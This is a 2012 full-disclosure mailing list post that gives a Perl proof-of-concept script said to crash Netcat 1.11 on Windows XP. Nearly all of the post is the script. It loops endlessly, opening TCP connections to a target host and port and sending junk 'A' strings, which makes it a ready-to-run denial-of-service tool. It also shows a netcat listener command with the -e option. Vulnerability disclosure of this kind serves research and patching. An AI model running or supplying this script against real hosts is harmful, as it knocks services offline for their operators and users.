full-disclosure - Netcat 1.11 Crash POC

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Date: Fri, 13 Jul 2012 04:55:25 -0700
From: kaveh ghaemmaghami <kavehghaemmaghami@...glemail.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Netcat 1.11 Crash POC

# Exploit Title: Netcat 1.11 Crash POC
# crash:http://imageshack.us/photo/my-images/687/47003227.jpg/
# Date: July 13, 2012
# Author: coolkaveh
# coolkaveh@...ketmail.com
# https://twitter.com/coolkaveh
# Vendor Homepage: The NT version was  written by Weld Pond <weld@...nwatch.org>
# Version: 1.11
# Tested on: windows XP SP3
# set your netcat listening on port 222 with -e switch sftp or etc ..
# example nc.exe -l -p 2222 -v -e tftp
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Crappy netcat Crash
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl -w
use IO::Socket;
$|=1;
sub usage {
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
	print "coolkaveh@...ketmail.com\n";
    print "usage: perl nc.pl <host> \n";
}
$host=shift;
$port=shift || "2222";
if(!defined($host)){
    print "nc.exe -l -p 2222 -v -e tftp";
    print "by coolkaveh\n";
	print "coolkaveh@...ketmail.com\n";
    print "usage: perl nc.pl <host> \n";
	exit(0);
}
@junk=('A'x100);
print "Crashing NC !\n";
while (1) {
   COMMAND_LIST: foreach $cmd (@junk){
		LABEL5: $sock1=IO::Socket::INET->new(PeerAddr=>$host,
PeerPort=>$port, Proto=>'tcp', Timeout=>30);
		if(defined($sock1)){
			$sock1->send("$cmd"." "."$poc\r\n", 0);
				}
		}		
}

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